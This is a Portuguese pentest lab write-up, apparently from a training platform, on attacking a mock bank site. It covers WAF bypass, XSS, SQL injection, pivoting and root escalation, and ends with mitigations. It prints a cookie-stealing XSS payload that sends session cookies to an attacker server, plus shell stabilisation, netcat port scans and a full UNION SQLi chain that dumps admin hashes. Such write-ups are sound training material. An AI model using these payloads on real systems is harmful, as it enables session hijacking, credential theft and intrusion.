Share
## https://sploitus.com/exploit?id=54BDD71D-0DF1-5888-B7C1-7DC90099583D
# Pentest-Lab-Waf-Bypass-SoledySecurity
Hands-on web pentest lab involving Cloudflare WAF bypass, XSS, SQL Injection, pivoting and privilege escalation.


### PENTEST REPORT — BANCO DA COREIA DO NORTE (SOLEDY OFFENSIVE SECURITY)

INFORMAÇÕES GERAIS
- Plataforma: Soledy Offensive Security
- Laboratório: Banco da Coreia do Norte
- Tipo: Web Pentest + WAF Bypass + Pós-Exploração + Pivoting
- Ambiente: Laboratório controlado e autorizado

---

# OBJETIVO
Identificar vulnerabilidades em uma aplicação web protegida por Cloudflare (WAF), obter acesso inicial ao sistema, explorar falhas de segurança, realizar movimentação lateral na rede interna e escalar privilégios até o usuário root.

# CONTEXTO DE SEGURANÇA
A aplicação alvo estava protegida por Cloudflare, utilizando firewall de aplicação web (WAF), o que impedia técnicas básicas de enumeração e força bruta sem adaptação das requisições HTTP.

# ENUMERAÇÃO DE DIRETÓRIOS COM BYPASS DE CLOUDFLARE
Durante a enumeração inicial, tentativas diretas de brute force de diretórios foram bloqueadas pelo Cloudflare. Para contornar essa proteção, foi necessário replicar uma requisição legítima do navegador, incluindo headers e cookies válidos.

# Foi utilizada a aba Network do navegador (DevTools) para capturar:
- User-Agent legítimo
- Cookies de sessão
- Headers HTTP completos

# Exemplo de requisição válida observada:

GET / HTTP/1.1
Host: www.bancocn.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Cookie: [cookie válido da sessão]

# Com essas informações, foi possível executar o Dirb burlando o firewall:

dirb http://www.bancocn.com \
-a "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" \
-c "cookie=SESSION_COOKIE"

# Essa abordagem permitiu a enumeração de diretórios mesmo com o WAF ativo.

## IDENTIFICAÇÃO DE VULNERABILIDADE NA URL
Durante a análise de parâmetros da aplicação, foi identificado que o parâmetro "id" da página cat.php era refletido sem sanitização adequada.

Teste inicial de SQL Injection:
www.bancocn.com/cat.php?id=2'

A aplicação retornou erro de banco de dados, indicando possível vulnerabilidade a SQL Injection.

Também foi testada injeção de código HTML para verificar XSS:
www.bancocn.com/cat.php?id=2'TESTE

### O conteúdo injetado foi refletido na página, indicando vulnerabilidade a Cross-Site Scripting (XSS).

## ANÁLISE DE HEADERS DE SEGURANÇA
- Foi realizada análise dos headers HTTP via DevTools, verificando ausência ou má configuração de headers de segurança, como Content-Security-Policy (CSP).
- A ausência de CSP permitiu a execução de scripts externos diretamente na aplicação.
  
 ---
 
## EXPLORAÇÃO DE XSS COM SCRIPT EXTERNO
- Foi explorada a vulnerabilidade XSS através da injeção de um script externo:
- www.bancocn.com/cat.php?id=2'
- Para hospedar o script malicioso, foi criado um servidor local:
```bash
python3 -m http.server
```

## Estrutura criada:
- Diretório js
- Arquivo script.js contendo código malicioso

## Código utilizado:
new Image().src = "URL_DO_SERVIDOR?cookie=" + document.cookie;
window.location = "/";

- Para permitir acesso externo ao servidor local, foi utilizado o ngrok.
- A exploração permitiu a captura de cookies de sessão de usuários privilegiados.

## Com o cookie capturado, foi possível:
- Acessar o painel administrativo
- Realizar sequestro de sessão via alteração manual de cookies no navegador

Também foi citada a possibilidade de automatização do ataque XSS utilizando a ferramenta BeEF.

---

### ACESSO AO SERVIDOR E SHELL REVERSA

Após acesso administrativo, foi realizada a exploração do servidor através de upload de shell e obtenção de acesso remoto.

A shell foi estabilizada utilizando:
python -c "import pty; pty.spawn('/bin/bash')"

Usuário obtido:
www-data@servidor_bancocn:/var/html/admin/uploads

ENUMERAÇÃO DA REDE INTERNA (PIVOTING)

Foi realizada enumeração da rede interna para identificar outros hosts ativos:

for i in {1..254}; do (ping -c 1 10.20.20.$i | grep "64 bytes" &); done

Foi identificado o host interno:
10.20.20.3

ENUMERAÇÃO DE PORTAS NO HOST INTERNO

Utilizando netcat, foi realizado scan de portas:

nc -w 1 -zv 10.20.20.3 1-500

Foi identificado o serviço SSH ativo na porta 22.

ACESSO AO HOST INTERNO VIA SSH

Durante etapas anteriores, foram encontradas credenciais armazenadas em um arquivo creds.txt referentes ao usuário "bob".

Utilizando essas credenciais, foi possível acessar o host interno:

ssh bob@10.20.20.3

---

### MOVIMENTAÇÃO LATERAL E ESCALONAMENTO DE PRIVILÉGIOS

Após o acesso ao usuário bob, foi realizada enumeração de diretórios e permissões em busca de vetores de escalonamento de privilégios.
Foi identificada uma vulnerabilidade relacionada à versão do SUDO instalada no sistema, permitindo escalonamento até o usuário root.
Com isso, foi obtido acesso total ao sistema como root.

---

### SQL INJECTION — ATAQUE UNION

Para exploração avançada da SQL Injection, foi utilizado o método UNION-based.

Primeiro, foi identificado o número de colunas retornadas pela aplicação utilizando ORDER BY:

www.bancocn.com/cat.php?id=1 ORDER BY 1
www.bancocn.com/cat.php?id=1 ORDER BY 2
www.bancocn.com/cat.php?id=1 ORDER BY 3
www.bancocn.com/cat.php?id=1 ORDER BY 4

A aplicação retornou erro na quarta coluna, indicando que a query possui três colunas.

Em seguida, foi utilizado UNION SELECT com um ID inexistente:

www.bancocn.com/cat.php?id=-1 UNION SELECT 1,2,3

A coluna refletida permitiu a injeção de funções SQL.

Extração do nome do banco de dados:
www.bancocn.com/cat.php?id=-1 UNION SELECT 1,2,database()

Banco identificado:
bancocn

Listagem de tabelas:
www.bancocn.com/cat.php?id=-1 UNION SELECT 1,2,group_concat(table_name)
FROM information_schema.tables WHERE table_schema="bancocn"

Tabelas encontradas:
categories, pictures, stats, users

Listagem de colunas da tabela users:
www.bancocn.com/cat.php?id=-1 UNION SELECT 1,2,group_concat(column_name)
FROM information_schema.columns WHERE table_name="users"

Colunas:
id, login, password

Extração de usuários:
www.bancocn.com/cat.php?id=-1 UNION SELECT 1,2,group_concat(login) FROM users

Usuário identificado:
admin

Extração de hashes de senha:
www.bancocn.com/cat.php?id=-1 UNION SELECT 1,2,group_concat(password) FROM users

## Hash obtido:
7b71be0e85318117d2e514ce2a2e222c

O hash foi identificado como MD5 e posteriormente quebrado utilizando ferramentas adequadas, permitindo acesso ao painel administrativo.

---

## MITIGAÇÕES

Aplicação Web:
- Utilizar prepared statements (queries parametrizadas)
- Implementar validação e sanitização de entradas
- Corrigir vulnerabilidades de XSS
- Configurar corretamente headers de segurança (CSP, X-Frame-Options, etc.)

## WAF / Cloudflare:
- Restringir endpoints sensíveis
- Melhorar regras de inspeção de cookies e headers
- Implementar rate limiting mais eficaz

## Servidor:
- Evitar armazenamento de credenciais em arquivos acessíveis
- Atualizar versões vulneráveis de SUDO
- Aplicar princípio do menor privilégio
- Monitorar tráfego lateral na rede interna

## CONCLUSÃO
O laboratório apresentou múltiplas falhas críticas que permitiram a evasão de WAF, exploração de vulnerabilidades web, sequestro de sessão, acesso ao servidor, movimentação lateral na rede interna e escalonamento de privilégios até root. O cenário demonstra a importância de defesas em profundidade e configurações seguras tanto na aplicação quanto na infraestrutura.